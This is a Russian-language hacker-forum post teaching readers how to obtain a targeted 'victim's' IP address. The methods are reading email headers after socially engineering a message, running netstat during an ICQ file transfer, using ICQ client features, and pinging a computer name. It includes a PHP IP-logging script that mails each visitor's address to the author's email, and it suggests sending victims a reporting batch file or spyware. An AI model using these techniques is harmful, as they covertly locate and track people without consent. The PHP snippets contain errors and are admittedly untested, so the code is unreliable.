Привет всем читателям.
Побродив по форуму, я наткнулся на несколько постом (минимум 5) в которых просят рассказать о способах обнаружения IP адреса жертвы. Что бы вопросов больше не появлялось я хочу рассказать об этом.
IP-адрес (aй-пи адрес, сокращение от англ. Internet Protocol Address) — уникальный идентификатор (адрес) устройства (обычно компьютера), подключённого к локальной сети и (или) интернету.
Способ через мыло.
Вроде все знают этот способ, но на всякий случай расскажу.
Допустим, применив свою способности социальной инженерии ты вынудил жертву отослать тебе письмо.
Что бы узнать айпи адрес нужно просмотреть заголовок письма. В нем находиться инфа об отправителе и находиться его IP.
Если ты пользуешься почтовыми службами типа rambler.ru или mail.ru то нужна, нажать на кнопку RFC. Она покажет RFC заголовок письма. Там ты без труда сможешь найти IP адрес и еще некоторые мелочи.
Если у тебя стоит почтовый клиент (the Bat!, Outlook…) то это можно найти в свойстве письма (F9); Клиенты для общения и передачи информации.
Представим, ты сидишь в аське или в mail агенте с жертвой.
Твое задача установить с жертвой соединения. Ну, например передача файлов.
Открой командную строку и набери netstat –b.
Тебе покажут активные соединения. Если повезет, то там будет айпи адрес того кому или от кого ты принимаешь данные.
В некоторых клиентах ICQ есть функция определения IP адреса .
Например, Miranda, если в ней открыть у контакта вкладку данные то
в окне ICQ можно увидеть Внешний и Внутренний IP.
К сожалению, она определяет адрес только у старых версий клиентов или у тех юзеров которые не позаботились о своей безопасности.
Еще icq2003b, кажется она еще актуальна.
Вообще в зависимости от версии и типа клиента у жертвы, можно найти способы или программы для определения IP адреса. Т. К. сейчас очень быстро выпускают все новые и совершенные клиенты. Но хакеры не дремлют.
Сниффер.
Предположим, ты напишешь скрипт на PHP которые отсылает или сохраняет в отдельный файл айпи всех входящих. Зальешь его на сервер и даш ссылку жертве (опять же используя СИ). Давай разберем такой случай.
Регистрируйся на хостинге с подержкой пхп
Вот скрипт
$ip=getenv("REMOTE_ADDR"); // получаем адрес
mail("blin.17@mail.ru", "IP addr", "Ай пи адрес юзера $ip"); // отправляем на мыло
?>
Или вот этот скрипт записывает в файл “a.txt” IP адрес.
$ip=getnv(REMOTE_ADDR);
$fp=fopen("a.txt","a+"); //запись в файл
fwrite($fp,$ip);
fclose($fp);
?>
Предварительно нужно создать на хостинге файл “a.txt”
Ну, я ссылку на скрипт нужно дать жертве.
К сожалению скрипты протестировать не получилось, но ошибок быть не должно.
Программы.
Можно слить батник жертве батник который выкидывает на твое было ip
Ну, или программку шпион.
Да…. Если ты знаешь имя компьютера то можно применить пинг.
Если например имя User11 то в командой строке набивай
Ping User11
